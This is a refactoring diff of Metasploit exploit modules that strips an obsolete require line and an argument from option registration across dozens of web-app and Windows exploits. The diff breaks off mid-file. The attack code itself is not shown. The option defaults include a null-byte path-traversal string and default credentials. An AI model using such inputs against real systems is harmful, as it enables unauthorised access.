b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb index c44aeb229f..e0109e2098 100644 --- a/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 777ae27a6c..060d3b4236 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -4,8 +4,6 @@ ## # -*- coding: utf-8 -*- -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('URI', [true, 'The uri that accepts the langChoice param', '/user/index.php']), OptString.new('PATH', [true, 'The path where the php was stored', '../../../../../../../../../../tmp/sess_!SESSIONID!%00']), - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb index 56144a5917..43c7a3e547 100644 --- a/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PASSWORD', [true, "The password to authenticate with" ]), OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), Opt::RPORT(443) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 6cc5113f2e..439cc1faa3 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index 73207fd2a9..da9e5c1eb8 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) - ], self.class) + ]) end def do_login(username, password) diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 183f696ffb..9a01eec87a 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]), - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 8f66f5a3eb..d8654eeb17 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new("NODE", [false, 'Valid Node ID']), OptInt.new("MINNODE", [true, 'Valid Node ID', 1]), OptInt.new("MAXNODE", [true, 'Valid Node ID', 100]) - ], self.class) + ]) end def exists_node?(id) diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index 01ea8823c6..e859422404 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -79,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PASS_ASTGUI', [false, 'astGUIcient User Password', '1234']), OptString.new('PHONE_USER_ASTGUI', [false, 'astGUIcient Phone Login', '6666']), OptString.new('PHONE_PASSWORD_ASTGUI', [false, 'astGUIcient Phone Password', '1234']) - ], self.class) + ]) end # Login through astGUIclient and create a web_client_sessions if there isn't diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index c058cbf271..6ed45fdd3a 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index bf55cd2c70..2a992332b5 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/']) - ], self.class) + ]) end # diff --git a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb index 1b498ca2ea..f9f35f87ee 100644 --- a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb +++ b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) - ], self.class) + ]) end def username diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb index b76d8d9fdd..0537735874 100644 --- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb +++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']), OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb index 247a904595..a09ca43caa 100644 --- a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index fec5e636cb..76a4f028a9 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb index f9ac0917a8..7dae911020 100644 --- a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb index 711a3c81ec..3199b6562e 100644 --- a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb +++ b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb index 714471ec6b..e777f7002e 100644 --- a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']), OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']), OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false]) - ], self.class) + ]) end def username diff --git a/modules/exploits/unix/webapp/wp_foxypress_upload.rb b/modules/exploits/unix/webapp/wp_foxypress_upload.rb index 5b46f5a16a..fbd598b297 100644 --- a/modules/exploits/unix/webapp/wp_foxypress_upload.rb +++ b/modules/exploits/unix/webapp/wp_foxypress_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb index 805a886437..a65d31e406 100644 --- a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index b6e1d7ddc1..5130d7964b 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rbmysql' class MetasploitModule < Msf::Exploit::Remote @@ -57,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']), OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']), OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb index 9a77ef8950..49e7020428 100644 --- a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'socket' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb index feae3662d5..85aef4212c 100644 --- a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb index fd7a419a6c..f497a2b8e1 100644 --- a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb +++ b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_lastpost_exec.rb b/modules/exploits/unix/webapp/wp_lastpost_exec.rb index 8f5fc9ba22..933931faab 100644 --- a/modules/exploits/unix/webapp/wp_lastpost_exec.rb +++ b/modules/exploits/unix/webapp/wp_lastpost_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [true, "The full URI path to WordPress", "/"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb index bf5d867292..a15832b122 100644 --- a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb index c7027abc93..921f12f0f7 100644 --- a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb index 9b10986e87..3d6e8dd1d8 100644 --- a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb +++ b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb @@ -3,10 +3,10 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'uri' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb index 941dc8f538..ee59f7ccd3 100644 --- a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' require 'json' @@ -48,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb index a75eefc24b..0727d5d0a4 100644 --- a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]), OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/wp_platform_exec.rb b/modules/exploits/unix/webapp/wp_platform_exec.rb index d71747cf93..24ccd9d473 100644 --- a/modules/exploits/unix/webapp/wp_platform_exec.rb +++ b/modules/exploits/unix/webapp/wp_platform_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index be24e09124..7c5a498760 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb index 7590f4caef..80904e65a2 100644 --- a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index c79b3069df..b61546755b 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index b6d53feb0a..264208baf0 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('WP_USER', [true, 'A valid username', nil]), OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) - ], self.class) + ]) end def user diff --git a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb index 620594fc2f..1d31691887 100644 --- a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb +++ b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_total_cache_exec.rb b/modules/exploits/unix/webapp/wp_total_cache_exec.rb index 8380660362..c72ffba21b 100644 --- a/modules/exploits/unix/webapp/wp_total_cache_exec.rb +++ b/modules/exploits/unix/webapp/wp_total_cache_exec.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) - ], self.class) + ]) register_advanced_options( [ diff --git a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb index 975d7d004a..a49bc175f4 100644 --- a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb +++ b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb index bcf004dac6..6763d2ced7 100644 --- a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb index 4e73bdf79d..49ad84de1b 100644 --- a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USER', [true, 'A valid username', nil]), OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil]) - ], self.class) + ]) end def user diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb index 4e4ab2070c..5400a5ae9b 100644 --- a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 5877144ba3..b272e9827d 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/xoda/"]) - ], self.class) + ]) end diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 2e6345440a..df35117e40 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/']) - ], self.class) + ]) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb index c11f84545f..0d69c513c6 100644 --- a/modules/exploits/unix/webapp/zimbra_lfi.rb +++ b/modules/exploits/unix/webapp/zimbra_lfi.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index e1ff8e7aa0..557756416c 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']), OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']), OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index d087d53acc..0b4f60f47c 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']), OptString.new('USERNAME', [true, 'The username to authenticate as']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) - ], self.class) + ]) end def check diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb index 3b07a8c264..7211b1e207 100644 --- a/modules/exploits/unix/x11/x11_keyboard_exec.rb +++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -113,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(6000), OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index 3a1f29e0f0..d9df114d02 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(38292), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]), - ], self.class) + ]) end def windows_stager diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 73479bd7c3..5577fc73ce 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(12174), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]), - ], self.class) + ]) end def windows_stager diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb index 1f62f84c1e..18a1fa89b7 100644 --- 